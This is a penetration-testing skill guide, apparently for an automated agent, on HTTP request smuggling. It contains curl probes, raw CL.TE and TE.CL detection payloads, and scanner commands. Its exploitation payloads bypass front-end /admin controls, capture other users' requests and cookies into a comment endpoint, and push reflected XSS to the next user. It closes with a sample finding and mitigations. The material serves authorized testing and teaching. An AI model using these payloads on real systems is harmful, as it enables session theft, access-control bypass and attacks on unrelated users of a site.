---
name: exploiting-http-request-smuggling
description: Detecting and exploiting HTTP request smuggling vulnerabilities caused by Content-Length and Transfer-Encoding
  parsing discrepancies between front-end and back-end servers.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- request-smuggling
- http-desync
- web-security
- burpsuite
- owasp
version: '1.0'
author: mahipal
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---

# Exploiting HTTP Request Smuggling

## When to Use

- During authorized penetration tests when the application sits behind a reverse proxy, load balancer, or CDN
- When testing infrastructure with multiple HTTP processors in the request chain (nginx + Apache, HAProxy + Gunicorn)
- For assessing applications for HTTP desynchronization vulnerabilities
- When other attack vectors are limited and you need to bypass front-end security controls
- During security assessments of multi-tier web architectures

## Prerequisites

- **Authorization**: Written penetration testing agreement explicitly covering request smuggling (high-risk test)
- **Burp Suite Professional**: With HTTP Request Smuggler extension (Turbo Intruder)
- **smuggler.py**: Automated HTTP request smuggling detection tool
- **curl**: Compiled with HTTP/1.1 support and manual chunked encoding
- **Target architecture knowledge**: Understanding of proxy/server chain (front-end and back-end)
- **Caution**: Request smuggling can affect other users' requests; test carefully

## Workflow

### Step 1: Identify the HTTP Architecture

Determine the proxy/server chain and HTTP parsing characteristics.

```bash
# Identify front-end proxy/CDN
curl -s -I "https://target.example.com/" | grep -iE \
  "(server|via|x-served-by|x-cache|cf-ray|x-amz|x-varnish)"

# Common architectures:
# Cloudflare → Nginx → Application
# AWS ALB → Apache → Application
# HAProxy → Gunicorn → Python app
# Nginx → Node.js/Express
# Akamai → IIS → .NET app

# Check HTTP version support
curl -s -I --http1.1 "https://target.example.com/" | head -1
curl -s -I --http2 "https://target.example.com/" | head -1

# Check if Transfer-Encoding is supported
curl -s -X POST \
  -H "Transfer-Encoding: chunked" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "0\r\n\r\n" \
  "https://target.example.com/" -w "%{http_code}"

# Check for HTTP/2 downgrade to HTTP/1.1 on backend
# Many CDNs accept HTTP/2 but forward HTTP/1.1 to origin
```

### Step 2: Test for CL.TE Smuggling

The front-end uses Content-Length, the back-end uses Transfer-Encoding.

```
# In Burp Suite Repeater, disable "Update Content-Length" option
# Send the following request manually:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

# If vulnerable (CL.TE):
# Front-end reads 13 bytes (Content-Length), forwards entire request
# Back-end reads chunked: "0\r\n\r\n" = end of body
# "SMUGGLED" becomes the start of the next request

# Detection technique: Time-based
# If back-end reads chunked and sees incomplete chunk, it waits:

POST / HTTP/1.1
Host: target.example.com
Content-Length: 4
Transfer-Encoding: chunked

1
A
X

# If response is delayed (~5-10 seconds), CL.TE is likely
```

### Step 3: Test for TE.CL Smuggling

The front-end uses Transfer-Encoding, the back-end uses Content-Length.

```
# Burp Repeater - disable "Update Content-Length"

POST / HTTP/1.1
Host: target.example.com
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0


# If vulnerable (TE.CL):
# Front-end reads chunked: chunk "SMUGGLED" + final "0"
# Back-end reads 3 bytes of Content-Length: "8\r\n"
# Remaining "SMUGGLED\r\n0\r\n\r\n" becomes next request prefix

# Detection via differential response:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 6
Transfer-Encoding: chunked

0

X

# Front-end (TE): reads "0\r\n\r\n", sees end
# Back-end (CL): reads 6 bytes "0\r\nX\r\n"
# Next request gets "X" prepended, causing 400/405 errors
```

### Step 4: Use Automated Detection Tools

Run automated scanners to detect smuggling variants.

```bash
# Using smuggler.py
git clone https://github.com/defparam/smuggler.git
cd smuggler
python3 smuggler.py -u "https://target.example.com/" -m GET POST

# Using Burp HTTP Request Smuggler extension
# 1. Install from BApp Store: "HTTP Request Smuggler"
# 2. Right-click target in Site Map > Extensions > HTTP Request Smuggler > Smuggle probe
# 3. Check Scanner > Issue Activity for results

# Using h2csmuggler for HTTP/2 smuggling
# git clone https://github.com/BishopFox/h2cSmuggler.git
python3 h2csmuggler.py -x "https://target.example.com/" \
  "https://target.example.com/admin"

# Manual detection with Turbo Intruder
# Send paired requests with different timing
# First request: smuggling prefix
# Second request: normal request that gets affected
```

### Step 5: Exploit Request Smuggling for Impact

Leverage confirmed smuggling for practical attacks.

```
# Attack 1: Bypass front-end access controls
# Access /admin which is blocked by the front-end proxy

# CL.TE exploit:
POST / HTTP/1.1
Host: target.example.com
Content-Length: 56
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1
Host: target.example.com
Foo: x

# The smuggled "GET /admin" request bypasses front-end restrictions
# because it's processed by the back-end directly

# Attack 2: Capture other users' requests
# Smuggle a request that stores the next user's request in a visible location

POST / HTTP/1.1
Host: target.example.com
Content-Length: 130
Transfer-Encoding: chunked

0

POST /api/comments HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 400

body=

# The next legitimate user's request gets appended to "body="
# and stored as a comment, exposing their cookies and headers

# Attack 3: Reflected XSS escalation
# Smuggle a request that will reflect XSS in the next response

POST / HTTP/1.1
Host: target.example.com
Content-Length: 150
Transfer-Encoding: chunked

0

GET /search?q=<script>alert(document.cookie)</script> HTTP/1.1
Host: target.example.com
Content-Length: 10
Foo: x

# Next user receives the XSS response instead of their expected response
```

### Step 6: Test HTTP/2 Request Smuggling

Assess HTTP/2 specific smuggling vectors.

```
# HTTP/2 smuggling via CRLF injection in headers
# HTTP/2 should reject \r\n in header values, but some proxies don't

# H2.CL smuggling: HTTP/2 front-end, Content-Length on back-end
# Send HTTP/2 request with mismatched :path and content

# Using Burp Suite with HTTP/2 support:
# 1. Enable HTTP/2 in Repeater: Inspector > HTTP/2
# 2. Craft request with conflicting CL header

# HTTP/2 header injection
# Add: Transfer-Encoding: chunked via HTTP/2 pseudo-header
# Some front-ends strip TE from HTTP/1.1 but not from HTTP/2

# Test HTTP/2 request tunneling
# If front-end reuses HTTP/2 connections for multiple users:
# Poison the connection to affect subsequent requests

# H2.TE smuggling via HTTP/2 CONNECT
# Use CONNECT method in HTTP/2 to establish tunnels
# that bypass front-end security controls
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **CL.TE Smuggling** | Front-end uses Content-Length, back-end uses Transfer-Encoding |
| **TE.CL Smuggling** | Front-end uses Transfer-Encoding, back-end uses Content-Length |
| **TE.TE Smuggling** | Both use Transfer-Encoding but parse obfuscated TE headers differently |
| **HTTP Desync** | State where front-end and back-end disagree on request boundaries |
| **Request Splitting** | One HTTP request is interpreted as two separate requests |
| **Connection Poisoning** | Smuggled data affects the next request on the same TCP connection |
| **H2.CL Smuggling** | HTTP/2 to HTTP/1.1 downgrade with Content-Length discrepancy |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Manual request crafting with disabled auto Content-Length |
| **HTTP Request Smuggler (Burp)** | Automated smuggling detection extension by James Kettle |
| **smuggler.py** | Python-based automated HTTP request smuggling scanner |
| **h2cSmuggler** | HTTP/2 cleartext smuggling tool from Bishop Fox |
| **Turbo Intruder** | High-speed request engine for time-sensitive smuggling tests |
| **curl** | Manual HTTP request crafting with precise byte control |

## Common Scenarios

### Scenario 1: Admin Panel Access Bypass
The front-end proxy blocks `/admin` requests. A CL.TE smuggling attack prepends `GET /admin` to the back-end's request queue, causing the back-end to process the admin request without the front-end's access control check.

### Scenario 2: Cookie Theft via Request Capture
A TE.CL smuggling attack injects a partial POST request to a comment endpoint. The next user's request (including cookies and authorization headers) is appended to the comment body and stored in the database.

### Scenario 3: Cache Poisoning via Smuggling
A smuggled request causes the cache to store a response from a different URL. Combined with cache poisoning, the attacker serves malicious content to all users requesting the legitimate URL.

### Scenario 4: HTTP/2 Desync on CDN
The CDN accepts HTTP/2 and downgrades to HTTP/1.1 for the origin. A header injection via HTTP/2 creates a desync, allowing the attacker to smuggle requests that bypass the CDN's WAF rules.

## Output Format

```
## HTTP Request Smuggling Finding

**Vulnerability**: CL.TE HTTP Request Smuggling
**Severity**: Critical (CVSS 9.1)
**Location**: Front-end (Cloudflare) → Back-end (Nginx + Gunicorn)
**OWASP Category**: A05:2021 - Security Misconfiguration

### Architecture
Front-end: Cloudflare (Content-Length priority)
Back-end: Gunicorn (Transfer-Encoding priority)
Protocol: HTTP/1.1 between proxy and origin

### Reproduction Steps
1. Send POST request with both Content-Length and Transfer-Encoding headers
2. Content-Length set to include smuggled request prefix
3. Transfer-Encoding: chunked with "0\r\n\r\n" ending body
4. Smuggled data becomes prefix of next back-end request

### Confirmed Exploits
| Exploit | Impact |
|---------|--------|
| Admin bypass | Accessed /admin without authentication |
| Request capture | Stole session cookies from other users |
| XSS escalation | Delivered reflected XSS to arbitrary users |
| Cache poisoning | Poisoned CDN cache with malicious response |

### Recommendation
1. Ensure front-end and back-end use the same HTTP parsing behavior
2. Reject ambiguous requests with both Content-Length and Transfer-Encoding
3. Upgrade to HTTP/2 end-to-end (no protocol downgrade)
4. Use HTTP/2 between proxy and origin server
5. Normalize requests at the front-end before forwarding
```
